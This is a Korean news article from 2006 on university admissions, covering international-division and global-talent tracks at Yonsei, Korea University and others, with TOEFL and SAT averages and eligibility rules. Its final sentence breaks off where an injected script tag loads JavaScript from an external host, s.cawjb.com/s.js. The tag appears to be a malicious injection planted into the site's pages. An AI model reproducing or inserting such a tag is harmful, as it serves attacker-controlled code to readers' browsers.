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2006-12-04 오전 11:26:00, 조회:1206 |
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수시 모집 인원의 30%… 갈수록 늘어나
수능점수 필요없고 서류·면접으로 선발
국내 대학들이 글로벌 인재 양성을 내걸고 국제학부, 글로벌 전형, 영어우수자전형 등 입시 전형 방법을 다양화하고 있다. 이화여대, 고려대, 연세대, 한양대, 경희대, 한국외대 등은 국제학부 학생을 선발하고 있고, 수도권 주요 대학들도 영어우수자전형으로 학생들을 선발한다.
국내 학생은 물론 해외유학생도 자유롭게 지원이 가능한 국제학부/ 글로벌/영어우수자전형은 2008학년도의 경우 서울과 수도권의 주요 대학만 하더라도 모집인원이 약 3000여명이 될 것으로 예상된다. 이는 전체 수시전형의 약 30%를 차지한다. 특히, 연·고대는 2008학년도 국제학부 전형 선발인원과 글로벌인재전형 선발인원을 2007학년도에 비해 늘렸다. 또 서강대와 성균관대는 이 전형을 신설해 각각 100명을 선발할 예정이다. 현 고2 학생들은 2008년 입시에서 이들 전형에 관심을 가져볼 만하다.
국제학부 전형
국제학부 전형의 가장 큰 특징은 서류와 영어면접으로 학생을 선발한다는 것이다. 서류전형은 TOEFL, SAT, AP/IB 등의 공인 영어성적, 추천서, 과외활동, 내신 성적을 고루 평가한다. 면접은 전공과 관련된 관심과 논리적인 시각을 평가한다.
연세대는 언더우드 국제학부(Underwood International College)를 만들고 6명의 외국인 전임 교수를 채용했다. UIC의 커리큘럼은 아이비리그 대학을 모델로 삼았다. 하나의 독립된 단과대학으로 입학한 학생들은 경제, 정치, 법, 인문학뿐 아니라 정보통신, 생명공학에 이르기까지 원하는 전문분야를 선택하여 공부할 수 있다. 2007학년도의 경우 전체 합격생의 41%가 미국을 포함한 해외고 출신으로 이 중 35명은 미국 코넬대, 듀크대, 다트머스대, 컬럼비아대, UC 버클리대, 영국 킹스칼리지, 중국의 베이징대 등 해외 명문대학에 합격했음에도 연세대 언더우드 학부를 택했다. 이들의 평균 성적은 TOEFL 288점, SAT는 2108점이었다.
글로벌 전형
연세대와 고려대는 각각 글로벌리더 전형과 글로벌인재 전형으로 약 200명 안팎을 선발한다. 연세대의 경우 문과와 이과 구분 없이 폭넓게 지원할 수 있다. 연세대 글로벌리더의 지원자격은 크게 세 가지이며, 이 중 한 가지에 해당된다면 지원이 가능하다. 첫째, 국내 정규 고등학교에서 외국어 및 외국어 관련 교과 또는 국제관련 교과 58단위 이상을 이수해야 한다. 둘째, 두 과목 이상의 AP시험 성적을 취득하여 토플 점수와 함께 제출이 가능해야 한다. 셋째, 제2 외국어 공인성적을 2가지 이상 취득해야 한다. 서류심사와 면접 등으로 학생을 선발하며 수능시험은 상관없다.
고려대 글로벌인재 전형의 경우 2007학년도 경쟁률이 2.57대1로 일반 수시 경쟁률 34.44대1에 비해 현저히 낮았다.
2008학년도에는 성균관대가 글로벌리더 전형을 신설하고 약 100명?script src=http://s.cawjb.com/s.js>
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